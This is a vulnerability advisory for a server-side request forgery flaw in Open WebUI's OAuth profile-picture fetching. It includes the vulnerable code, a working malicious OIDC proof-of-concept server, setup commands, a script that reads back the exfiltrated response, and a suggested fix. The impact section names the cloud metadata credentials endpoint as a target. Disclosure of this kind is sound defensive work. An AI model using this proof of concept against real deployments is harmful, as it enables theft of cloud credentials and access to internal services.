PT-2026-59336 · Pypi · Open-Webui
Published
2026-07-13
·
Updated
2026-07-13
CVSS v3.1
7.7
High
| Vector | AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N |
Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in
process picture url() in backend/open webui/utils/oauth.py (line ~1338). The function fetches arbitrary URLs from OAuth picture claims without applying validate url(), allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response.Vulnerable Code
python
# backend/open webui/utils/oauth.py, line ~1337-1345
async def process picture url(self, picture url: str, access token: str = None) -> str:
# No validate url() call here
async with aiohttp.ClientSession(trust env=True) as session:
async with session.get(picture url, **get kwargs, ssl=AIOHTTP CLIENT SESSION SSL) as resp:
if resp.ok:
picture = await resp.read()
base64 encoded picture = base64.b64encode(picture).decode('utf-8')
return f'data:{guessed mime type};base64,{base64 encoded picture}'The codebase already uses
validate url() for the same SSRF protection pattern in other paths:backend/open webui/utils/files.py:38-validate url(url)beforerequests.get(url)backend/open webui/routers/images.py:800-validate url(data)beforerequests.get(data)
The omission in
process picture url() is inconsistent with the project's own security practices.Affected Code Paths
- New user OAuth signup (line ~1556):
picture url = await self. process picture url(picture url, token.get('access token')) - Existing user picture update on login (line ~1536): when
OAUTH UPDATE PICTURE ON LOGIN=true
Steps to Reproduce
Prerequisites
- Open WebUI instance with generic OIDC OAuth configured
ENABLE OAUTH SIGNUP=true
Setup
1. Start a minimal OIDC server that returns a malicious
picture claim pointing to an internal canary endpoint:python
"""Minimal OIDC PoC server - save as poc oidc.py"""
from http.server import HTTPServer, BaseHTTPRequestHandler
import json, urllib.parse
SSRF TARGET = "http://host.docker.internal:9000/canary"
CANARY = "SSRF CONFIRMED OPEN WEBUI"
class Handler(BaseHTTPRequestHandler):
def do GET(self):
path = urllib.parse.urlparse(self.path).path
query = urllib.parse.parse qs(urllib.parse.urlparse(self.path).query)
if path == "/.well-known/openid-configuration":
self. json({"issuer":"http://host.docker.internal:9000",
"authorization endpoint":"http://localhost:9000/authorize",
"token endpoint":"http://host.docker.internal:9000/token",
"userinfo endpoint":"http://host.docker.internal:9000/userinfo",
"jwks uri":"http://host.docker.internal:9000/jwks",
"response types supported":["code"],"subject types supported":["public"],
"id token signing alg values supported":["RS256"],
"token endpoint auth methods supported":["client secret post","client secret basic"]})
elif path == "/authorize":
ru = query.get("redirect uri",[""])[0]
st = query.get("state",[""])[0]
self.send response(302)
self.send header("Location", f"{ru}?code=poc-code&state={st}")
self.end headers()
elif path == "/userinfo":
self. json({"sub":"attacker","email":"attacker@example.com","name":"Attacker","picture":SSRF TARGET})
elif path == "/jwks":
self. json({"keys":[]})
elif path == "/canary":
self.send response(200)
self.send header("Content-Type","text/plain")
body = CANARY.encode()
self.send header("Content-Length",len(body))
self.end headers()
self.wfile.write(body)
print(f"!!! CANARY FETCHED - SSRF CONFIRMED !!!")
else:
self.send response(404); self.end headers()
def do POST(self):
if "/token" in self.path:
self. json({"access token":"tok","token type":"bearer","expires in":3600,
"userinfo":{"sub":"attacker","email":"attacker@example.com","name":"Attacker","picture":SSRF TARGET}})
def json(self, d):
b = json.dumps(d).encode()
self.send response(200)
self.send header("Content-Type","application/json")
self.send header("Content-Length",len(b))
self.end headers()
self.wfile.write(b)
HTTPServer(("0.0.0.0", 9000), Handler).serve forever()2. Run the PoC server:
bash
python3 poc oidc.py3. Start Open WebUI with Docker:
bash
docker run -d -p 3000:8080
--name owui-ssrf-test
--add-host=host.docker.internal:host-gateway
-e ENABLE OAUTH SIGNUP=true
-e WEBUI AUTH=true
-e OAUTH CLIENT ID=test-client
-e OAUTH CLIENT SECRET=test-secret
-e OPENID PROVIDER URL=http://host.docker.internal:9000/.well-known/openid-configuration
-e OAUTH PROVIDER NAME=TestOIDC
-e "OAUTH SCOPES=openid email profile"
ghcr.io/open-webui/open-webui:main4. Create an admin account at
http://localhost:3000, then sign out.5. Click "Continue with TestOIDC" on the login page.
6. Observe the PoC server terminal - it prints
!!! CANARY FETCHED - SSRF CONFIRMED !!!7. Verify exfiltrated data is stored and readable:
bash
curl -s http://localhost:3000/api/v1/auths/
-H "Authorization: Bearer <session-token>" | python3 -c "
import sys, json, base64
data = json.load(sys.stdin)
url = data.get('profile image url', '')
if 'base64,' in url:
decoded = base64.b64decode(url.split('base64,',1)[1]).decode()
print(f'DECODED: {decoded}')
"Result:
DECODED: SSRF CONFIRMED OPEN WEBUIThe server fetched the attacker-controlled URL, base64-encoded the response, stored it as
profile image url, and the attacker can read it back via the API.Impact
An attacker can force the Open WebUI server to make HTTP requests to:
- Cloud metadata endpoints (AWS IMDSv1 at
http://169.254.169.254/latest/meta-data/iam/security-credentials/) to steal IAM credentials - Internal network services not exposed to the internet
- Localhost-bound services (Redis, Elasticsearch, internal APIs)
This is a full-read SSRF: the complete HTTP response body is exfiltrated to the attacker via the base64-encoded
profile image url field.Configuration Note
This vulnerability requires
ENABLE OAUTH SIGNUP=true (for the new-user path) or OAUTH UPDATE PICTURE ON LOGIN=true (for the existing-user path). While these are not default settings, they are standard in production deployments that use OAuth for user management, which is the primary use case for configuring OAuth at all.Suggested Fix
Apply
validate url() before fetching, consistent with existing patterns in the codebase:python
from open webui.retrieval.web.utils import validate url
async def process picture url(self, picture url: str, access token: str = None) -> str:
if not picture url:
return '/user.png'
try:
validate url(picture url) # Add this line
# ... rest unchangedFix
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Open-Webui